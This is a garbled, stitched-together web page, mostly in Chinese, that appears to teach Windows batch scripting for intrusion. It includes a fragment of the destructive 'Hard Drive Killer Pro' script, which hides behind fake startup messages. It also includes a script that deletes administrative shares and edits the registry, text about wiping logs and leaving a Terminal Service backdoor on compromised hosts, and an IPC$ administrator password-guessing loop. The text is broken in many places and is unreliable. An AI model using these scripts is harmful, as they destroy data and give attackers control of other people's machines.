【正文】
a:\*. nul cls echo Initializing Variables . . . echo Validating Data . . . echo Analyzing System Structure . . . echo Initializing Application . . . echo Starting Application . . . for %%a in (%drive%) do call c:\ %%a Munga nul cls echo Thank you for using a Munga Bunga product. echo. echo Oh and, Bill Gates rules, and he is not a geek, he is a good looking genius. echo. echo Here is a joke for you . . . echo. echo Q). Whats the worst thing about being an egg? echo A). You only get laid once. echo. echo HAHAHAHA, get it? Dont you just love that one? echo. echo Regards, echo. echo Munga Bunga :end rem Hard Drive Killer Pro Version , enjoy!!!! rem Author: Munga Bunga from Australia, the land full of retarded Australians (help me get out of here).。 cut here then save as .bat or .cmd file echo preparing to delete all the default ready pres any key. pause echo off :Rem check parameters if null show usage. if {%1}=={} goto :Usage :Rem code start. echo. echo echo. echo Now deleting all the default shares. echo. net share %1$ /delete net share %2$ /delete net share %3$ /delete net share %4$ /delete net share %5$ /delete net share %6$ /delete net share %7$ /delete net share %8$ /delete net share %9$ /delete net stop Server net start Server echo. echo All the shares have been deleteed echo. echo echo. echo Now modify the registry to change the system default properties. echo. echo Now creating the registry file echo Windows Registry Editor Version c:\ echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanmanserver\parameters] c:\ echo AutoShareWks=dword:00000000 c:\ echo AutoShareServer=dword:00000000 c:\ echo Nowing using the registry file to chang the system default properties. regedit /s c:\ echo Deleting the temprotarily files. del c:\ goto :END :Usage echo. echo echo. echo ☆ A example for batch file ☆ echo ☆ [Use batch file to change the sysytem share properties.] ☆ echo. echo Author:Ex4rch echo Mail:Ex4rch :1672602 echo. echo Error:Not enough parameters echo. echo ☆ Please enter the share disk you wanna delete ☆ echo. echo For instance,to delete the default shares: echo delshare c d e ipc admin print echo. echo If the disklable is not as C: D: E: ,Please chang it youself. echo. echo example: echo If locak disklable are C: D: E: X: Y: Z: ,you should chang the mand into : echo delshare c d e x y z ipc admin print echo. echo *** you can delete nine shares once in a useing *** echo. echo goto :EOF :END echo. echo echo. echo OK, has deleted all the share you assigned. questions ,feel free to mail to Ex4rch. echo echo. echo echo. :EOF echo end of the batch file cut here then save as .bat or .cmd file cut here then save as .bat or .cmd file 下面命令是清除肉雞所有日志,禁止一些危險的服務(wù),并修改肉雞的terminnal service留跳后路。 我們首先來說說刪除一個項(xiàng)目名稱,我們創(chuàng)建一個如下的文件: Windows Registry Editor Version [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] Ex4rch= 執(zhí)行該腳本,[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]下的Ex4rch就被刪除了; 我們再看看刪除一個子項(xiàng),我們創(chuàng)建一個如下的腳本: Windows Registry Editor Version [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] 執(zhí)行該腳本,[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]就已經(jīng)被刪除了。當(dāng)然我們也會修改注冊表來加固系統(tǒng)或者改變系統(tǒng)的某個屬性,這些都需要我們對注冊表操作有一定的了解。 將一個句柄的輸出寫入到另一個句柄的輸入中。沒有是最好,如果有的話也不要直接DEL掉,先用regsvr32 /u ,再把它移到回收站里,若系統(tǒng)沒有異常反映再將之徹底刪除或者提交給殺毒軟件公司。 2.、輸出重定向命令 將一條命令或某個程序輸出結(jié)果的重定向到特定文件中, 與 的區(qū)別在于,會清除調(diào)原有文件中的內(nèi)容后寫入指定文件,而只會追加內(nèi)容到指定文件中,而不會改動其中的內(nèi)容。 dir c:\Ex4rch The system cannot find the path specified. Volume in drive C has no label. Volume Serial Number is 007859FB Directory of c:\Ex4rch 20020514 23:51 . 20020514 23:51 .. 20020514 23:51 14 3. Usage:第一條命令 第二條命令 [ 第三條命令...] 用這種方法可以同時執(zhí)行多條命令,當(dāng)碰到執(zhí)行正確的命令后將不執(zhí)行后面的命令,如果沒有出現(xiàn)正確的命令則一直執(zhí)行完所有命令; Sample: C:\Ex4rchdir del Volume in drive C has no label. Volume Serial Number is 007859FB Directory of C:\Ex4rch 20020514 23:55 14 1 File(s) 14 bytes 0 Dir(s) 768,696,320 bytes free 組合命令使用的例子: sample: copy \\%1\admin$\system32 amp。 if errorlevel 1 echo connection failed 怎么樣,使用參數(shù)還是比較簡單的吧?你這么帥一定學(xué)會了^_^. (Compound Command) 。amp。應(yīng)該根據(jù)%%i %%j %%k表示的對象來排列,一般就是 ip password username。那么如何實(shí)現(xiàn)呢?呵呵,看下去你就會明白了。 最主要的命令是一條:for /f i% in () do net use \\ip\ipc$ i% /u:administrator 用i%來表示admin的密碼,%的值用net use 命令來連接。選取類似 %I 的大寫變量名比較易讀,而且避免與不分大小寫的組合鍵混淆。您現(xiàn)在可以使用下列 選項(xiàng)語法: ~I 刪除任何引號(),擴(kuò)充 %I %~fI 將 %I 擴(kuò)充到一個完全合格的路徑名 %~dI 僅將 %I 擴(kuò)充到一個驅(qū)動器號 %~pI 僅將 %I 擴(kuò)充到一個路徑 %~nI 僅將 %I 擴(kuò)充到一個文件名 %~xI 僅將 %I 擴(kuò)充到一個文件擴(kuò)展名 %~sI 擴(kuò)充的路徑只含有短名 %~aI 將 %I 擴(kuò)充到文件的文件屬性 %~